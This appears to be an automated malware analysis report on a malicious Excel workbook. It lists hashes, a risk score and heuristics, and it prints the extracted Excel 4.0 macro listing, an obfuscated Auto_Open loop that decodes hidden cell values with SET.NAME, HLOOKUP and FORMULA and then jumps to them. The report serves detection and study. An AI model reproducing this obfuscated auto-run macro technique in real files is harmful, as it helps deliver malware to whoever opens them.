Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 dbb1624e39dfb65c…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-25 10:45:48 Authoring application: Microsoft Excel First seen: 2021-03-31
MD5: 89a8059e0c9844d3ac3aca95a1a5ca9d SHA-1: 1d7168ddc8638b0c3d97f1b0ed6d398543da99ef SHA-256: dbb1624e39dfb65c304d0d9fc04a128301f5e10c7716c645359f08b2cb86ace5
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6634 bytes
SHA-256: 82c85605019ce33b3fe13f7e601953fc109db1d16a1976756c301aac52bbc5f6
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     17 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  fapddVeY
' 0018     24 LABEL : Cell Value, String Constant - ACEXnqiei len=0 
' 0018     24 LABEL : Cell Value, String Constant - AlSXpSlGu len=0 
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!A199 
' 0018     23 LABEL : Cell Value, String Constant - blzlXsvc len=0 
' 0018     27 LABEL : Cell Value, String Constant - bpKkdZGCQjHB len=0 
' 0018     20 LABEL : Cell Value, String Constant - cFJGQ len=0 
' 0018     25 LABEL : Cell Value, String Constant - CYoCRGJALH len=0 
' 0018     23 LABEL : Cell Value, String Constant - EplfXNsK len=0 
' 0018     27 LABEL : Cell Value, String Constant - eVAOsXSUvsXd len=0 
' 0018     20 LABEL : Cell Value, String Constant - EWqqZ len=0 
' 0018     20 LABEL : Cell Value, String Constant - eYaiY len=0 
' 0018     21 LABEL : Cell Value, String Constant - gGCRqf len=0 
' 0018     21 LABEL : Cell Value, String Constant - gnwNls len=0 
' 0018     21 LABEL : Cell Value, String Constant - ledbQh len=0 
' 0018     21 LABEL : Cell Value, String Constant - paJKXC len=0 
' 0018     24 LABEL : Cell Value, String Constant - qTBimaKbJ len=0 
' 0018     21 LABEL : Cell Value, String Constant - RQCFMV len=0 
' 0018     22 LABEL : Cell Value, String Constant - RzrEVWC len=0 
' 0018     24 LABEL : Cell Value, String Constant - UtSaMTqTc len=0 
' 0018     21 LABEL : Cell Value, String Constant - VwEpiH len=0 
' 0018     26 LABEL : Cell Value, String Constant - wqzagPXTxOH len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  fapddVeY,A99,"SET.NAME("wqzagPXTxOH",VALUE("0"))",""
'  fapddVeY,A103,"SET.NAME("AlSXpSlGu",wqzagPXTxOH)",""
'  fapddVeY,A107,"SET.NAME("eVAOsXSUvsXd",wqzagPXTxOH)",""
'  fapddVeY,A112,"SET.NAME("EplfXNsK",COUNTA(bpKkdZGCQjHB))",""
'  fapddVeY,A114,"SET.NAME("paJKXC",COUNTA(gGCRqf))",""
'  fapddVeY,A118,[],""
'  fapddVeY,A123,"SET.NAME("RQCFMV","")",""
'  fapddVeY,A128,"AlSXpSlGu",""
'  fapddVeY,A131,"SET.NAME("ACEXnqiei",HLOOKUP("*",bpKkdZGCQjHB,AlSXpSlGu,FALSE))",""
'  fapddVeY,A136,"blzlXsvc",""
'  fapddVeY,A141,"SET.NAME("gnwNls",wqzagPXTxOH)",""
'  fapddVeY,A144,[],""
'  fapddVeY,A148,"gnwNls",""
'  fapddVeY,A150,"RzrEVWC",""
'  fapddVeY,A154,"VwEpiH",""
'  fapddVeY,A159,"UtSaMTqTc",""
'  fapddVeY,A163,"SET.NAME("CYoCRGJALH",VALUE(HLOOKUP("*",gGCRqf,UtSaMTqTc,FALSE)))",""
'  fapddVeY,A167,"qTBimaKbJ",""
'  fapddVeY,A169,"RQCFMV",""
'  fapddVeY,A174,"eVAOsXSUvsXd",""
'  fapddVeY,A177,NEXT(),""
'  fapddVeY,A180,"cFJGQ",""
'  fapddVeY,A183,"SET.NAME("f",INT(T(FORMULA(T(RQCFMV)&"",""&T(cFJGQ)))))",""
'  fapddVeY,A188,"ledbQh",""
'  fapddVeY,A191,NEXT(),""
'  fapddVeY,A195,RETURN(),""
'  fapddVeY,A218,"SET.NAME("EWqqZ",A99)",""
'  fapddVeY,A220,"bpKkdZGCQjHB",""
'  fapddVeY,A224,"SET.NAME("gGCRqf",R99C15)",""
'  fapddVeY,A226,"SET.NAME("ledbQh",235)",""
'  fapddVeY,A230,"SET.NAME("eYaiY",1)",""
'  fapddVeY,A234,EWqqZ(),""
'  fapddVeY,A235,HALT(),""

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